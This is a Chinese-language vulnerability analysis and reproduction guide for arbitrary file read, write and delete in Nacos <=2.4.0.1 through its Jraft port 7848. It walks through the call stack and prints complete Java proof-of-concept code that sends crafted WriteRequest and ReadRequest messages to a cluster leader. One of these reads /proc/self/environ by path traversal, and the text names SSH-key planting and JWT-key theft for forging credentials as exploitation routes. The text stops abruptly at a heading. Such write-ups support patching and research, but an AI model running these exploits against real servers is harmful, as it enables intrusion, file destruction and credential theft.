Nacos <=2.4.0.1 任意文件读写删
Nacos <=2.4.0.1 任意文件读写删
前言
在Nacos<=2.4.0.1版本中集群模式启动下存在名为naming_persistent_service的Group,该Group所使用的Processor为com.alibaba.nacos.naming.consistency.persistent.impl.PersistentServiceProcessor类型Processor,在进行处理过程中会触发其父类onApply
或onRequest
方法,这两个方法会分别造成任意文件写入删除和任意文件读取
官方社区公告:https://nacos.io/blog/announcement-nacos-security-problem-file/
漏洞出现在Jraft服务(默认值7848)
环境搭建
docker搭建集群参考:https://github.com/nacos-group/nacos-docker
漏洞分析
这个漏洞的原理和之前的Nacos Hessian 反序列化漏洞差不多,但是没这么复杂
这里只说重点,请求包的构造参考之前的Nacos Hessian 反序列化漏洞
当nacos以集群模式启动时,存在一个名为naming_persistent_service的Group
注意,此时的leader为nacos2:7848,这个会变的,在Nacos Hessian 反序列化漏洞的调试中知道,只有leader节点才会进行后续的操作。
在调试分析这个漏洞的过程中发现,在向leader发包后,下一次,leader就会变为其他节点。反正就是naming_persistent_service下的leader是哪个,就向哪个节点发送请求即可,不需要重启
请求的处理过程,不多bb了,参考Nacos Hessian 反序列化漏洞
调用栈如下:
onApply:159, BasePersistentServiceProcessor (com.alibaba.nacos.naming.consistency.persistent.impl)
onApply:122, NacosStateMachine (com.alibaba.nacos.core.distributed.raft)
doApplyTasks:597, FSMCallerImpl (com.alipay.sofa.jraft.core)
doCommitted:561, FSMCallerImpl (com.alipay.sofa.jraft.core)
runApplyTask:467, FSMCallerImpl (com.alipay.sofa.jraft.core)
access$100:73, FSMCallerImpl (com.alipay.sofa.jraft.core)
onEvent:150, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)
onEvent:142, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)
run:137, BatchEventProcessor (com.lmax.disruptor)
run:750, Thread (java.lang)
任意文件写入
来到BasePersistentServiceProcessor#onApply
首先对传入的data进行反序列化为一个BatchWriteRequest对象,然后再获取操作op进入不同的方法处理,如果op==”Write”则进入NamingKvStorage#batchPut
这里只是简单的遍历一下列表,然后就丢给put方法处理
this.getStorage()只是返回一个KvStorage对象,然后进入KvStorage#put
这里一目了然了,而且参数可控,需要注意的是这个this.baseDir的当前目录为/home/nacos/data/naming/data
,可以目录穿越
回到BasePersistentServiceProcessor#onApply,构造数据
需要一个BatchWriteRequest对象,并序列化
调试发现,这个序列化和反序列化是由com.alibaba.nacos.consistency.serialize.JacksonSerializer()进行的
而不是之前常用的那个,所以构造如下:
BatchWriteRequest request = new BatchWriteRequest();
request.append("1.txt".getBytes(), "aaaa\n".getBytes());
JacksonSerializer serializer = new JacksonSerializer();
send(address, serializer.serialize(request));//发送数据
op的控制就简单了,在构造WriteRequest对象时候,加一个setOperation(“Write”)即可,send方法是发送请求,参考Y4er写的,复制+修改
POC:
public static void send(String addr, byte[] payload) throws Exception {
Configuration conf = new Configuration();
conf.parse(addr);
RouteTable.getInstance().updateConfiguration("nacos", conf);
CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();
PeerId leader = PeerId.parsePeer(addr);
Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");
parserClasses.setAccessible(true);
ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());
map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());
final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup("naming_persistent_service").setData(ByteString.copyFrom(payload)).setOperation("Write").build();
Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest, 5000);
System.out.println(o);
}
public static void main(String[] args) throws Exception {
String address = "192.168.3.153:7848";
BatchWriteRequest request = new BatchWriteRequest();
request.append("1.txt".getBytes(), "aaaa\n".getBytes());//向/home/nacos/data/naming/data/1.txt写入aaaa
JacksonSerializer serializer = new JacksonSerializer();
send(address, serializer.serialize(request));
}
这个漏洞的利用,目前只能想到再开启22端口的情况下写ssh公钥,然后连接
任意文件删除
再回到BasePersistentServiceProcessor#onApply,如果op==Delete是不是就可以删除任意文件了?跟一下
根据batchDelete,来到NamingKvStorage的batchDelete
继续跟进delete()
这里的delete再跟进,也是一目了然,
这个POC和上面任意文件写入的一样,只有把.setOperation(“Write”)改为.setOperation(“Delete”)即可
任意文件读取
前面的poc发送的数据都是构造WriteRequest对象发送,读取文件,需要的是ReadRequest
在处理请求的过程中,如果是ReadRequest则会调用该Group所使用的Processor的onRequest方法
因为Group为naming_persistent_service,还是BasePersistentServiceProcessor处理,来到BasePersistentServiceProcessor的onRequest方法
处理的套路和前面的差不多,将数据反序列化为List后丢给NamingKvStorage#batchGet处理
这里也是变量,然后丢给get处理,跟进
又是这个storage,再跟进
再这个get方法中,如果文件存在,则读取,并返回读取的内容,返回到onRequest,通过response发送到客户端
POC:
public static void send2(String addr, byte[] payload) throws Exception {
Configuration conf = new Configuration();
conf.parse(addr);
RouteTable.getInstance().updateConfiguration("nacos", conf);
CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();
PeerId leader = PeerId.parsePeer(addr);
Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");
parserClasses.setAccessible(true);
ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());
map.put("com.alibaba.nacos.consistency.entity.ReadRequest", ReadRequest.getDefaultInstance());
MarshallerHelper.registerRespInstance(ReadRequest.class.getName(), ReadRequest.getDefaultInstance());
final ReadRequest readRequest = ReadRequest.newBuilder().setGroup("naming_persistent_service").setData(ByteString.copyFrom(payload)).build();
Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), readRequest, 5000);
System.out.println(o);
}
public static void main(String[] args) throws Exception {
bypass();
String address = "192.168.3.153:7848";
JacksonSerializer serializer = new JacksonSerializer();
List<byte[]> byteArrayList = Arrays.asList("../../../../../../proc/self/environ".getBytes());
send2(address, serializer.serialize(byteArrayList));
}
文件读取可以读取环境变量获取jwt key伪造凭据,读取配置文件获取敏感信息
漏洞复现
任意文件写入:写入pwn.txt
任意文件删除:删除掉刚刚写入的pwn.txt
任意文件读取:读取/proc/self/environ环境变量
其中keys是文件名,values是文件内容,base64解码
文件内容: